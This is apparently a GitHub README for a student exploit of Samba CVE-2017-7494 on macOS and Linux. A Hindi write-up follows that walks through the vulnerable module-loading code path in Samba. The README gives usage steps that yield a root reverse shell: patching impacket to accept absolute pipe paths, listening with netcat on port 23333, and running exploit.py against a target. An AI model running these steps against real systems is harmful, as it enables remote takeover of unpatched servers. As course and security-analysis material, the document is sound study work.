BIT-EternalBlue-for-macOS&Linux

Exploit CVE-2017-7494 for Net Security course final Assignment. This would reveal the vulnerability of services that run in administrative priority on OS.

This bug is workable on both macOS and Linux.

Install

Before exploit, you need to download dependencies.

/bin/bash install_requirement.sh

One of the most important dependencies is the impacket package for python. It make smb connection works.

However, in order to construct a valid request that make the samba server load our malicious module, we have to modify the original impacket.

The installation install_requirement.sh installs a modified version (modified by me) so you do not have to worry about that and you are not need to do any manual modification.

However, if you want to use some newer version or another version of impacket, you have to modify that package by yourself.

Goto impacket/impacket/smb3.py modify line 11154 and comment following two sentences:

#         fileName = fileName.replace('/', '\\') Should be comment!
        if len(fileName) > 0:
#             fileName = ntpath.normpath(fileName) Should be comment!
            if fileName[0] == '\\':
                fileName = fileName[1:]

How to use

To exploit target, you need open two terminals. One use netcat to interact with the reverse shell, the other is used to exploit the BUG.

Usage:

#First terminal use nc to get reverse shell
$ nc -p 23333 -l

# Second terminal to exploit target
$ python3 ./exploit.py -lhost 192.168.71.136 --rhost 192.168.71.135

If the target is macOS, you should not to compile the module on Linux! As gcc do not support MACH-O format. If you are a mac user, macOS payload compilation works.

A precompiled version is in the directory. The mac_payload.so.

Use -m flag to make exploit.py know you will use a customized payload.

python3 ./exploit.py -lhost 192.168.71.136 --rhost 192.168.71.135 -m mac_payload.so

Uninstall

sudo -H python3 -m pip uninstall impacket

Todo:

macOS Samba installation guide.

A detailed process would be post in Chinese as my final assignment. If you understand Chinese, it would be fine for you. :)

EternalBlue for Mac & Linux

—— CVE2017-7494 हमला रिपोर्ट

पृष्ठभूमि परिचय

EternalBlue (永恒之蓝) ने 2017 में बहुत बड़ा नुकसान पहुँचाया था। इसने Windows SMB की तंत्र का उपयोग करके वर्म हमला किया। SMB एक सेवा है जो Windows पर चलती है, जो विभिन्न होस्टों के बीच फ़ाइल साझाकरण और रिमोट प्रक्रिया कॉल (RPC) की अनुमति देती है। शायद इसी प्रकार की कार्यक्षमता के कारण, यह अक्सर हैकर्स के हमले का लक्ष्य बनता है।

ऑपरेटिंग सिस्टम कर्नेल में स्वयं की कमज़ोरियाँ काफी कम होनी चाहिए—भले ही Windows के लिए भी। समस्या आमतौर पर ऑपरेटिंग सिस्टम पर चलने वाली विभिन्न सेवाओं में होती है। उनके पास ऑपरेटिंग सिस्टम जैसी सख्त और कठोरता से परीक्षित कोड नहीं होता, लेकिन वे बहुत उच्च विशेषाधिकारों पर चलते हैं, जिससे दुर्भावनापूर्ण उपयोग के कई अवसर उत्पन्न होते हैं। तो क्या हम ऑपरेटिंग सिस्टम के निचले स्तर के घटकों पर हमला करने के बजाय, उच्च-विशेषाधिकार वाली सेवाओं पर हमला करके पूरे सिस्टम को हथिया सकते हैं? एक अकेला ऑपरेटिंग सिस्टम केवल एक कर्नेल है, जो कुछ नहीं कर सकता। केवल विभिन्न प्रकार की सिस्टम सेवाओं को चलाकर ही हम विविध कार्यक्षमताएँ प्राप्त कर सकते हैं। कई सिस्टम सेवाओं को प्रशासक पहचान में चलाने की आवश्यकता होती है (डेमॉन के रूप में), इसलिए यदि हम ऐसी उच्च-विशेषाधिकार वाली सेवा को हथिया लें, तो स्वाभाविक रूप से हमें सिस्टम प्रशासक विशेषाधिकार मिल जाते हैं, और पूरा ऑपरेटिंग सिस्टम हथिया लिया जाता है।

अंत में, मैंने SMB के ओपन-सोर्स कार्यान्वयन—Samba—में शोषण योग्य कमज़ोरी पाई—CVE2017-7494। Windows की तरह, हैकर्स Samba के रिमोट प्रक्रिया कॉल के माध्यम से ऑपरेटिंग सिस्टम के प्रशासक विशेषाधिकार प्राप्त कर सकते हैं, और फिर वर्म वायरस बनाकर नेटवर्क पर हमला कर सकते हैं।

Linux कर्नेल हमेशा अपने ओपन-सोर्स होने के कारण सुरक्षा के लिए प्रसिद्ध रहा है; और macOS, एक अल्प-ज्ञात सिस्टम होने के कारण, और इसके लिए वायरस कम होने के कारण, अक्सर लोगों को सुरक्षा का भ्रम देता है। इसलिए इस प्रयोग में macOS और कई अलग-अलग Linux वितरणों पर हमला किया जाएगा, ताकि ऑपरेटिंग सिस्टम की कमज़ोरी दिखाई जा सके—चाहे ऑपरेटिंग सिस्टम का डिज़ाइन "कितना भी सुरक्षित क्यों न लगे", किसी भी स्थिति में एक छोटे एप्लिकेशन की कमज़ोरी के कारण यह हथिया लिया जा सकता है।

कमज़ोरी विश्लेषण

चूँकि Samba SMB के समान सेवा है, इसलिए कुछ लोग इसे "Linux-संस्करण EternalBlue" भी कहते हैं, हालांकि मैं मानता हूँ कि तकनीकी दृष्टिकोण से दोनों में मूलभूत अंतर है:

Windows के EternalBlue ने बफ़र ओवरफ़्लो हमले का उपयोग किया, जबकि CVE2017-7494 प्रोग्राम निष्पादन तर्क में एक कमज़ोरी है।

यह कमज़ोरी मुख्य रूप से source3\rpc_server\srv_pipe.c में फ़ंक्शन bool is_known_pipename(const char *pipename, struct ndr_syntax_id *syntax) द्वारा smb_probe_module() को कॉल करने से उत्पन्न होती है:

bool is_known_pipename(const char *pipename, struct ndr_syntax_id *syntax)
{
	...
	// यहाँ समस्या है
	status = smb_probe_module("rpc", pipename);
    ....

is_known_pipename() का ऊपरी स्तरीय फ़ंक्शन np_open() एक नियंत्रण मॉड्यूल है। यह RPC सेवा अनुरोध की जाँच करने के बाद is_known_pipename() को कॉल करता है। नाम से देखते हुए, is_known_pipename() यह निर्धारित करने के लिए है कि क्या रिमोट पाइप पहले से पंजीकृत है, लेकिन Samba 3.50 के बाद एक नई सुविधा शामिल की गई: smb_probe_module() के माध्यम से गतिशील मॉड्यूल लोड करना। यह कमज़ोरी इसी मॉड्यूल लोडिंग सुविधा का उपयोग करके अपने स्वयं के दुर्भावनापूर्ण मॉड्यूल को कॉल करने के लिए की जाती है।

rpc pipe मॉड्यूल को लोड करने के लिए निम्नलिखित कॉल श्रृंखला है:

is_known_pipename() -> smb_probe_module() -> do_smb_load_module() -> load_module()

Samba 3.5.0 से Samba 4.6.3 तक के संस्करणों में, फ़ंक्शन do_smb_load_module() का उपयोग RPC मॉड्यूल लोड करने वाले smb_probe_module() और दूसरे मॉड्यूल लोड करने वाले smb_load_module() दोनों द्वारा किया जाता है। smb_load_module() का उपयोग कुछ ज्ञात मॉड्यूल लोड करने के लिए किया जाता है, संभवतः Samba की अपनी कार्यक्षमता विस्तार के लिए आंतरिक कॉल, जैसे VFS मॉड्यूल; जबकि smb_probe_module() का अर्थ कुछ संभावित मॉड्यूल लोड करना है, जो RPC अनुरोध से आ सकते हैं।

NTSTATUS smb_probe_module(const char *subsystem, const char *module)
{
	return do_smb_load_module(subsystem, module, true);
}

NTSTATUS smb_load_module(const char *subsystem, const char *module)
{
	return do_smb_load_module(subsystem, module, false);
}

इन दो अलग-अलग स्रोतों से आने वाले फ़ंक्शनों द्वारा पुन: उपयोग किए जाने के लिए (हालाँकि मेरी राय में इन दो मॉड्यूल को कभी भी एक ही मॉड्यूल के रूप में पुन: उपयोग नहीं किया जाना चाहिए), do_smb_load_module() ने एक साथ "अनुरोध को पार्स करके SMB उपतंत्र के अंदर मॉड्यूल लोड करना" और "पूर्ण पथ के माध्यम से मॉड्यूल लोड करना" दो तरीकों को लागू किया।

static NTSTATUS do_smb_load_module(const char *subsystem,
								   const char *module_name, bool is_probe)
{
...
    /* Check for absolute path */
    // टिप्पणी पर टिप्पणी: यदि इनपुट पथ smb_probe_module() से आता है, जिसे पूर्ण पथ नहीं देना चाहिए, लेकिन smb_probe_module() पूर्ण पथ देता है, तो यह जाँच अप्रभावी होगी, यही इस कमज़ोरी के शोषण का सिद्धांत है।
	if (subsystem && module_name[0] != '/')
	{
		// मूलतः उपतंत्र में जाना चाहिए, SMB उपतंत्र -> पूर्ण पथ रूपांतरण
		full_path = talloc_asprintf(ctx,"%s/%s.%s",	modules_path(ctx, subsystem),module_name,shlib_ext());
        ...
	}
	else
	{
		// लेकिन यह सीधे हमारे निर्मित पूर्ण पथ को लोड करता है, यहाँ आता है
		init = load_module(module_name, is_probe, &handle);	
        // इस प्रकार init एक "अस्तित्वहीन pipe के मॉड्यूल" को पूर्ण पथ से आए मॉड्यूल का उपयोग करने देता है
	}
	// यहाँ सीधे दुर्भावनापूर्ण कोड के कॉल में प्रवेश करता है
	status = init();
...

BIT-EternalBlue-for-macOS_Linux

सबसे लोकप्रिय